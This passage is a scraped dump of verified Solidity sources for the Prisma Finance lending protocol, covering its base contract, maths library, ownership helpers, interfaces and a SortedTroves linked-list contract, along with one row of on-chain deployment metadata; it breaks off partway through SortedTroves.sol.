"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\n/*\n * Base contract for TroveManager, BorrowerOperations and StabilityPool. Contains global system constants and\n * common functions.\n */\ncontract PrismaBase {\n uint256 public constant DECIMAL_PRECISION = 1e18;\n\n // Critical system collateral ratio. If the system's total collateral ratio (TCR) falls below the CCR, Recovery Mode is triggered.\n uint256 public constant CCR = 1500000000000000000; // 150%\n\n // Amount of debt to be locked in gas pool on opening troves\n uint256 public immutable DEBT_GAS_COMPENSATION;\n\n uint256 public constant PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%\n\n constructor(uint256 _gasCompensation) {\n DEBT_GAS_COMPENSATION = _gasCompensation;\n }\n\n // --- Gas compensation functions ---\n\n // Returns the composite debt (drawn debt + gas compensation) of a trove, for the purpose of ICR calculation\n function _getCompositeDebt(uint256 _debt) internal view returns (uint256) {\n return _debt + DEBT_GAS_COMPENSATION;\n }\n\n function _getNetDebt(uint256 _debt) internal view returns (uint256) {\n return _debt - DEBT_GAS_COMPENSATION;\n }\n\n // Return the amount of collateral to be drawn from a trove's collateral and sent as gas compensation.\n function _getCollGasCompensation(uint256 _entireColl) internal pure returns (uint256) {\n return _entireColl / PERCENT_DIVISOR;\n }\n\n function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure {\n uint256 feePercentage = (_fee * DECIMAL_PRECISION) / _amount;\n require(feePercentage <= _maxFeePercentage, \"Fee exceeded provided maximum\");\n }\n}\n"
},
"contracts/dependencies/PrismaMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nlibrary PrismaMath {\n uint256 internal constant DECIMAL_PRECISION = 1e18;\n\n /* Precision for Nominal ICR (independent of price). Rationale for the value:\n *\n * - Making it “too high” could lead to overflows.\n * - Making it “too low” could lead to an ICR equal to zero, due to truncation from Solidity floor division.\n *\n * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39,\n * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator.\n *\n */\n uint256 internal constant NICR_PRECISION = 1e20;\n\n function _min(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a < _b) ? _a : _b;\n }\n\n function _max(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a : _b;\n }\n\n /*\n * Multiply two decimal numbers and use normal rounding rules:\n * -round product up if 19'th mantissa digit >= 5\n * -round product down if 19'th mantissa digit < 5\n *\n * Used only inside the exponentiation, _decPow().\n */\n function decMul(uint256 x, uint256 y) internal pure returns (uint256 decProd) {\n uint256 prod_xy = x * y;\n\n decProd = (prod_xy + (DECIMAL_PRECISION / 2)) / DECIMAL_PRECISION;\n }\n\n /*\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\n *\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity.\n *\n * Called by two functions that represent time in units of minutes:\n * 1) TroveManager._calcDecayedBaseRate\n * 2) CommunityIssuance._getCumulativeIssuanceFraction\n *\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\n *\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\n * negligibly different from just passing the cap, since:\n *\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\n */\n function _decPow(uint256 _base, uint256 _minutes) internal pure returns (uint256) {\n if (_minutes > 525600000) {\n _minutes = 525600000;\n } // cap to avoid overflow\n\n if (_minutes == 0) {\n return DECIMAL_PRECISION;\n }\n\n uint256 y = DECIMAL_PRECISION;\n uint256 x = _base;\n uint256 n = _minutes;\n\n // Exponentiation-by-squaring\n while (n > 1) {\n if (n % 2 == 0) {\n x = decMul(x, x);\n n = n / 2;\n } else {\n // if (n % 2 != 0)\n y = decMul(x, y);\n x = decMul(x, x);\n n = (n - 1) / 2;\n }\n }\n\n return decMul(x, y);\n }\n\n function _getAbsoluteDifference(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a - _b : _b - _a;\n }\n\n function _computeNominalCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n return (_coll * NICR_PRECISION) / _debt;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt, uint256 _price) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll * _price) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n}\n"
},
"contracts/dependencies/PrismaOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"../interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma Ownable\n @notice Contracts inheriting `PrismaOwnable` have the same owner as `PrismaCore`.\n The ownership cannot be independently modified or renounced.\n */\ncontract PrismaOwnable {\n IPrismaCore public immutable PRISMA_CORE;\n\n constructor(address _prismaCore) {\n PRISMA_CORE = IPrismaCore(_prismaCore);\n }\n\n modifier onlyOwner() {\n require(msg.sender == PRISMA_CORE.owner(), \"Only owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return PRISMA_CORE.owner();\n }\n\n function guardian() public view returns (address) {\n return PRISMA_CORE.guardian();\n }\n}\n"
},
"contracts/dependencies/SystemStart.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"../interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma System Start Time\n @dev Provides a unified `startTime` and `getWeek`, used for emissions.\n */\ncontract SystemStart {\n uint256 immutable startTime;\n\n constructor(address prismaCore) {\n startTime = IPrismaCore(prismaCore).startTime();\n }\n\n function getWeek() public view returns (uint256 week) {\n return (block.timestamp - startTime) / 1 weeks;\n }\n}\n"
},
"contracts/interfaces/IBorrowerOperations.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBorrowerOperations {\n struct Balances {\n uint256[] collaterals;\n uint256[] debts;\n uint256[] prices;\n }\n\n event BorrowingFeePaid(address indexed borrower, uint256 amount);\n event CollateralConfigured(address troveManager, address collateralToken);\n event TroveCreated(address indexed _borrower, uint256 arrayIndex);\n event TroveManagerRemoved(address troveManager);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 stake, uint8 operation);\n\n function addColl(\n address troveManager,\n address account,\n uint256 _collateralAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function adjustTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collDeposit,\n uint256 _collWithdrawal,\n uint256 _debtChange,\n bool _isDebtIncrease,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function closeTrove(address troveManager, address account) external;\n\n function configureCollateral(address troveManager, address collateralToken) external;\n\n function fetchBalances() external returns (Balances memory balances);\n\n function getGlobalSystemBalances() external returns (uint256 totalPricedCollateral, uint256 totalDebt);\n\n function getTCR() external returns (uint256 globalTotalCollateralRatio);\n\n function openTrove(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _collateralAmount,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function removeTroveManager(address troveManager) external;\n\n function repayDebt(\n address troveManager,\n address account,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function setDelegateApproval(address _delegate, bool _isApproved) external;\n\n function setMinNetDebt(uint256 _minNetDebt) external;\n\n function withdrawColl(\n address troveManager,\n address account,\n uint256 _collWithdrawal,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function withdrawDebt(\n address troveManager,\n address account,\n uint256 _maxFeePercentage,\n uint256 _debtAmount,\n address _upperHint,\n address _lowerHint\n ) external;\n\n function checkRecoveryMode(uint256 TCR) external pure returns (bool);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function _100pct() external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function factory() external view returns (address);\n\n function getCompositeDebt(uint256 _debt) external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function isApprovedDelegate(address owner, address caller) external view returns (bool isApproved);\n\n function minNetDebt() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function troveManagersData(address) external view returns (address collateralToken, uint16 index);\n}\n"
},
"contracts/interfaces/IDebtToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDebtToken {\n event Approval(address indexed owner, address indexed spender, uint256 value);\n event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event ReceiveFromChain(uint16 indexed _srcChainId, address indexed _to, uint256 _amount);\n event RetryMessageSuccess(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes32 _payloadHash);\n event SendToChain(uint16 indexed _dstChainId, address indexed _from, bytes _toAddress, uint256 _amount);\n event SetMinDstGas(uint16 _dstChainId, uint16 _type, uint256 _minDstGas);\n event SetPrecrime(address precrime);\n event SetTrustedRemote(uint16 _remoteChainId, bytes _path);\n event SetTrustedRemoteAddress(uint16 _remoteChainId, bytes _remoteAddress);\n event SetUseCustomAdapterParams(bool _useCustomAdapterParams);\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function burn(address _account, uint256 _amount) external;\n\n function burnWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);\n\n function enableTroveManager(address _troveManager) external;\n\n function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);\n\n function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external;\n\n function increaseAllowance(address spender, uint256 addedValue) external returns (bool);\n\n function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external;\n\n function mint(address _account, uint256 _amount) external;\n\n function mintWithGasCompensation(address _account, uint256 _amount) external returns (bool);\n\n function nonblockingLzReceive(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external;\n\n function permit(\n address owner,\n address spender,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function renounceOwnership() external;\n\n function returnFromPool(address _poolAddress, address _receiver, uint256 _amount) external;\n\n function sendToSP(address _sender, uint256 _amount) external;\n\n function setConfig(uint16 _version, uint16 _chainId, uint256 _configType, bytes calldata _config) external;\n\n function setMinDstGas(uint16 _dstChainId, uint16 _packetType, uint256 _minGas) external;\n\n function setPayloadSizeLimit(uint16 _dstChainId, uint256 _size) external;\n\n function setPrecrime(address _precrime) external;\n\n function setReceiveVersion(uint16 _version) external;\n\n function setSendVersion(uint16 _version) external;\n\n function setTrustedRemote(uint16 _srcChainId, bytes calldata _path) external;\n\n function setTrustedRemoteAddress(uint16 _remoteChainId, bytes calldata _remoteAddress) external;\n\n function setUseCustomAdapterParams(bool _useCustomAdapterParams) external;\n\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function retryMessage(\n uint16 _srcChainId,\n bytes calldata _srcAddress,\n uint64 _nonce,\n bytes calldata _payload\n ) external payable;\n\n function sendFrom(\n address _from,\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n address _refundAddress,\n address _zroPaymentAddress,\n bytes calldata _adapterParams\n ) external payable;\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DEFAULT_PAYLOAD_SIZE_LIMIT() external view returns (uint256);\n\n function FLASH_LOAN_FEE() external view returns (uint256);\n\n function NO_EXTRA_GAS() external view returns (uint256);\n\n function PT_SEND() external view returns (uint16);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function circulatingSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function domainSeparator() external view returns (bytes32);\n\n function estimateSendFee(\n uint16 _dstChainId,\n bytes calldata _toAddress,\n uint256 _amount,\n bool _useZro,\n bytes calldata _adapterParams\n ) external view returns (uint256 nativeFee, uint256 zroFee);\n\n function factory() external view returns (address);\n\n function failedMessages(uint16, bytes calldata, uint64) external view returns (bytes32);\n\n function flashFee(address token, uint256 amount) external view returns (uint256);\n\n function gasPool() external view returns (address);\n\n function getConfig(\n uint16 _version,\n uint16 _chainId,\n address,\n uint256 _configType\n ) external view returns (bytes memory);\n\n function getTrustedRemoteAddress(uint16 _remoteChainId) external view returns (bytes memory);\n\n function isTrustedRemote(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool);\n\n function lzEndpoint() external view returns (address);\n\n function maxFlashLoan(address token) external view returns (uint256);\n\n function minDstGasLookup(uint16, uint16) external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function nonces(address owner) external view returns (uint256);\n\n function owner() external view returns (address);\n\n function payloadSizeLimitLookup(uint16) external view returns (uint256);\n\n function permitTypeHash() external view returns (bytes32);\n\n function precrime() external view returns (address);\n\n function stabilityPoolAddress() external view returns (address);\n\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n function symbol() external view returns (string memory);\n\n function token() external view returns (address);\n\n function totalSupply() external view returns (uint256);\n\n function troveManager(address) external view returns (bool);\n\n function trustedRemoteLookup(uint16) external view returns (bytes memory);\n\n function useCustomAdapterParams() external view returns (bool);\n\n function version() external view returns (string memory);\n}\n"
},
"contracts/interfaces/IPriceFeed.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPriceFeed {\n event NewOracleRegistered(address token, address chainlinkAggregator, bool isEthIndexed);\n event PriceFeedStatusUpdated(address token, address oracle, bool isWorking);\n event PriceRecordUpdated(address indexed token, uint256 _price);\n\n function fetchPrice(address _token) external returns (uint256);\n\n function setOracle(\n address _token,\n address _chainlinkOracle,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool _isEthIndexed\n ) external;\n\n function MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function RESPONSE_TIMEOUT() external view returns (uint256);\n\n function TARGET_DIGITS() external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function oracleRecords(\n address\n )\n external\n view\n returns (\n address chainLinkOracle,\n uint8 decimals,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool isFeedWorking,\n bool isEthIndexed\n );\n\n function owner() external view returns (address);\n\n function priceRecords(\n address\n ) external view returns (uint96 scaledPrice, uint32 timestamp, uint32 lastUpdated, uint80 roundId);\n}\n"
},
"contracts/interfaces/IPrismaCallbacks.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nstruct ReedemedTrove {\n address account;\n uint256 debtLot;\n uint256 collateralLot;\n}\n\ninterface ITroveRedemptionsCallback {\n /**\n * @notice Function called after redemptions are executed in a Trove Manager\n * @dev This functions should be called EXCLUSIVELY by a registered Trove Manger\n * @param redemptions Values related to redeemed troves\n */\n function onRedemptions(ReedemedTrove[] memory redemptions) external returns (bool);\n}\n"
},
"contracts/interfaces/IPrismaCore.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaCore {\n event FeeReceiverSet(address feeReceiver);\n event GuardianSet(address guardian);\n event NewOwnerAccepted(address oldOwner, address owner);\n event NewOwnerCommitted(address owner, address pendingOwner, uint256 deadline);\n event NewOwnerRevoked(address owner, address revokedOwner);\n event Paused();\n event PriceFeedSet(address priceFeed);\n event Unpaused();\n\n function acceptTransferOwnership() external;\n\n function commitTransferOwnership(address newOwner) external;\n\n function revokeTransferOwnership() external;\n\n function setFeeReceiver(address _feeReceiver) external;\n\n function setGuardian(address _guardian) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeed) external;\n\n function OWNERSHIP_TRANSFER_DELAY() external view returns (uint256);\n\n function feeReceiver() external view returns (address);\n\n function guardian() external view returns (address);\n\n function owner() external view returns (address);\n\n function ownershipTransferDeadline() external view returns (uint256);\n\n function paused() external view returns (bool);\n\n function pendingOwner() external view returns (address);\n\n function priceFeed() external view returns (address);\n\n function startTime() external view returns (uint256);\n}\n"
},
"contracts/interfaces/ISortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISortedTroves {\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external;\n\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external;\n\n function remove(address _id) external;\n\n function setAddresses(address _troveManagerAddress) external;\n\n function contains(address _id) external view returns (bool);\n\n function data() external view returns (address head, address tail, uint256 size);\n\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address);\n\n function getFirst() external view returns (address);\n\n function getLast() external view returns (address);\n\n function getNext(address _id) external view returns (address);\n\n function getPrev(address _id) external view returns (address);\n\n function getSize() external view returns (uint256);\n\n function isEmpty() external view returns (bool);\n\n function troveManager() external view returns (address);\n\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool);\n}\n"
},
"contracts/interfaces/IVault.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaVault {\n struct InitialAllowance {\n address receiver;\n uint256 amount;\n }\n\n event BoostCalculatorSet(address boostCalculator);\n event BoostDelegationSet(address indexed boostDelegate, bool isEnabled, uint256 feePct, address callback);\n event EmissionScheduleSet(address emissionScheduler);\n event IncreasedAllocation(address indexed receiver, uint256 increasedAmount);\n event NewReceiverRegistered(address receiver, uint256 id);\n event ReceiverIsActiveStatusModified(uint256 indexed id, bool isActive);\n event UnallocatedSupplyIncreased(uint256 increasedAmount, uint256 unallocatedTotal);\n event UnallocatedSupplyReduced(uint256 reducedAmount, uint256 unallocatedTotal);\n\n function allocateNewEmissions(uint256 id) external returns (uint256);\n\n function batchClaimRewards(\n address receiver,\n address boostDelegate,\n address[] calldata rewardContracts,\n uint256 maxFeePct\n ) external returns (bool);\n\n function increaseUnallocatedSupply(uint256 amount) external returns (bool);\n\n function registerReceiver(address receiver, uint256 count) external returns (bool);\n\n function setBoostCalculator(address _boostCalculator) external returns (bool);\n\n function setBoostDelegationParams(bool isEnabled, uint256 feePct, address callback) external returns (bool);\n\n function setEmissionSchedule(address _emissionSchedule) external returns (bool);\n\n function setInitialParameters(\n address _emissionSchedule,\n address _boostCalculator,\n uint256 totalSupply,\n uint64 initialLockWeeks,\n uint128[] calldata _fixedInitialAmounts,\n InitialAllowance[] calldata initialAllowances\n ) external;\n\n function setReceiverIsActive(uint256 id, bool isActive) external returns (bool);\n\n function transferAllocatedTokens(address claimant, address receiver, uint256 amount) external returns (bool);\n\n function transferTokens(address token, address receiver, uint256 amount) external returns (bool);\n\n function PRISMA_CORE() external view returns (address);\n\n function allocated(address) external view returns (uint256);\n\n function boostCalculator() external view returns (address);\n\n function boostDelegation(address) external view returns (bool isEnabled, uint16 feePct, address callback);\n\n function claimableRewardAfterBoost(\n address account,\n address receiver,\n address boostDelegate,\n address rewardContract\n ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate);\n\n function emissionSchedule() external view returns (address);\n\n function getClaimableWithBoost(address claimant) external view returns (uint256 maxBoosted, uint256 boosted);\n\n function getWeek() external view returns (uint256 week);\n\n function guardian() external view returns (address);\n\n function idToReceiver(uint256) external view returns (address account, bool isActive);\n\n function lockWeeks() external view returns (uint64);\n\n function locker() external view returns (address);\n\n function owner() external view returns (address);\n\n function claimableBoostDelegationFees(address claimant) external view returns (uint256 amount);\n\n function prismaToken() external view returns (address);\n\n function receiverUpdatedWeek(uint256) external view returns (uint16);\n\n function totalUpdateWeek() external view returns (uint64);\n\n function unallocatedTotal() external view returns (uint128);\n\n function voter() external view returns (address);\n\n function weeklyEmissions(uint256) external view returns (uint128);\n}\n"
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
70b66e20766b775b2e9ce5b718bbd285af59b7e1
|
6798f8b5d6457794b53c4ad72ecc6341f71c84f9
|
3d602d80600a3d3981f3363d3d373d3d3d363d733bab3f90095c424b923d67f4be1790935c8bbb505af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d733bab3f90095c424b923d67f4be1790935c8bbb505af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"SortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"ITroveManager.sol\";\n\n/**\n @title Prisma Sorted Troves\n @notice Based on Liquity's `SortedTroves`:\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/SortedTroves.sol\n\n Originally derived from `SortedDoublyLinkedList`:\n https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol\n */\ncontract SortedTroves {\n ITroveManager public troveManager;\n\n Data public data;\n\n // Information for a node in the list\n struct Node {\n bool exists;\n address nextId; // Id of next node (smaller NICR) in the list\n address prevId; // Id of previous node (larger NICR) in the list\n }\n\n // Information for the list\n struct Data {\n address head; // Head of the list. Also the node in the list with the largest NICR\n address tail; // Tail of the list. Also the node in the list with the smallest NICR\n uint256 size; // Current size of the list\n mapping(address => Node) nodes; // Track the corresponding ids for each node in the list\n }\n\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function setAddresses(address _troveManagerAddress) external {\n require(address(troveManager) == address(0), \"Already set\");\n troveManager = ITroveManager(_troveManagerAddress);\n }\n\n /*\n * @dev Add a node to the list\n * @param _id Node's id\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n // List must not already contain node\n require(!node.exists, \"SortedTroves: List already contains the node\");\n // Node id must not be null\n require(_id != address(0), \"SortedTroves: Id cannot be zero\");\n\n _insert(node, troveManagerCached, _id, _NICR, _prevId, _nextId);\n }\n\n function _insert(\n Node storage node,\n ITroveManager _troveManager,\n address _id,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal {\n // NICR must be non-zero\n require(_NICR > 0, \"SortedTroves: NICR must be positive\");\n\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n // Sender's hint was not a valid insert position\n // Use sender's hint to find a valid insert position\n (prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);\n }\n\n node.exists = true;\n\n if (prevId == address(0) && nextId == address(0)) {\n // Insert as head and tail\n data.head = _id;\n data.tail = _id;\n } else if (prevId == address(0)) {\n // Insert before `prevId` as the head\n address head = data.head;\n node.nextId = head;\n data.nodes[head].prevId = _id;\n data.head = _id;\n } else if (nextId == address(0)) {\n // Insert after `nextId` as the tail\n address tail = data.tail;\n node.prevId = tail;\n data.nodes[tail].nextId = _id;\n data.tail = _id;\n } else {\n // Insert at insert position between `prevId` and `nextId`\n node.nextId = nextId;\n node.prevId = prevId;\n data.nodes[prevId].nextId = _id;\n data.nodes[nextId].prevId = _id;\n }\n\n data.size = data.size + 1;\n emit NodeAdded(_id, _NICR);\n }\n\n function remove(address _id) external {\n _requireCallerIsTroveManager(troveManager);\n _remove(data.nodes[_id], _id);\n }\n\n /*\n * @dev Remove a node from the list\n * @param _id Node's id\n */\n function _remove(Node storage node, address _id) internal {\n // List must contain the node\n require(node.exists, \"SortedTroves: List does not contain the id\");\n\n if (data.size > 1) {\n // List contains more than a single node\n if (_id == data.head) {\n // The removed node is the head\n // Set head to next node\n address head = node.nextId;\n data.head = head;\n // Set prev pointer of new head to null\n data.nodes[head].prevId = address(0);\n } else if (_id == data.tail) {\n address tail = node.prevId;\n // The removed node is the tail\n // Set tail to previous node\n data.tail = tail;\n // Set next pointer of new tail to null\n data.nodes[tail].nextId = address(0);\n } else {\n address prevId = node.prevId;\n address nextId = node.nextId;\n // The removed node is neither the head nor the tail\n // Set next pointer of previous node to the next node\n data.nodes[prevId].nextId = nextId;\n // Set prev pointer of next node to the previous node\n data.nodes[nextId].prevId = prevId;\n }\n } else {\n // List contains a single node\n // Set the head and tail to null\n data.head = address(0);\n data.tail = address(0);\n }\n\n delete data.nodes[_id];\n data.size = data.size - 1;\n emit NodeRemoved(_id);\n }\n\n /*\n * @dev Re-insert the node at a new position, based on its new NICR\n * @param _id Node's id\n * @param _newNICR Node's new NICR\n * @param _prevId Id of previous node for the new insert position\n * @param _nextId Id of next node for the new insert position\n */\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n\n // Remove node from the list\n _remove(node, _id);\n\n _insert(node, troveManagerCached, _id, _newNICR, _prevId, _nextId);\n }\n\n /*\n * @dev Checks if the list contains a node\n */\n function contains(address _id) public view returns (bool) {\n return data.nodes[_id].exists;\n }\n\n /*\n * @dev Checks if the list is empty\n */\n function isEmpty() public view returns (bool) {\n return data.size == 0;\n }\n\n /*\n * @dev Returns the current size of the list\n */\n function getSize() external view returns (uint256) {\n return data.size;\n }\n\n /*\n * @dev Returns the first node in the list (node with the largest NICR)\n */\n function getFirst() external view returns (address) {\n return data.head;\n }\n\n /*\n * @dev Returns the last node in the list (node with the smallest NICR)\n */\n function getLast() external view returns (address) {\n return data.tail;\n }\n\n /*\n * @dev Returns the next node (with a smaller NICR) in the list for a given node\n * @param _id Node's id\n */\n function getNext(address _id) external view returns (address) {\n return data.nodes[_id].nextId;\n }\n\n /*\n * @dev Returns the previous node (with a larger NICR) in the list for a given node\n * @param _id Node's id\n */\n function getPrev(address _id) external view returns (address) {\n return data.nodes[_id].prevId;\n }\n\n /*\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool) {\n return _validInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _validInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (bool) {\n if (_prevId == address(0) && _nextId == address(0)) {\n // `(null, null)` is a valid insert position if the list is empty\n return isEmpty();\n } else if (_prevId == address(0)) {\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\n return data.head == _nextId && _NICR >= _troveManager.getNominalICR(_nextId);\n } else if (_nextId == address(0)) {\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\n return data.tail == _prevId && _NICR <= _troveManager.getNominalICR(_prevId);\n } else {\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_NICR` falls between the two nodes' NICRs\n return\n data.nodes[_prevId].nextId == _nextId &&\n _troveManager.getNominalICR(_prevId) >= _NICR &&\n _NICR >= _troveManager.getNominalICR(_nextId);\n }\n }\n\n /*\n * @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start descending the list from\n */\n function _descendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the head, check if the insert position is before the head\n if (data.head == _startId && _NICR >= _troveManager.getNominalICR(_startId)) {\n return (address(0), _startId);\n }\n\n address prevId = _startId;\n address nextId = data.nodes[prevId].nextId;\n\n // Descend the list until we reach the end or until we find a valid insert position\n while (prevId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n prevId = data.nodes[prevId].nextId;\n nextId = data.nodes[prevId].nextId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start ascending the list from\n */\n function _ascendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the tail, check if the insert position is after the tail\n if (data.tail == _startId && _NICR <= _troveManager.getNominalICR(_startId)) {\n return 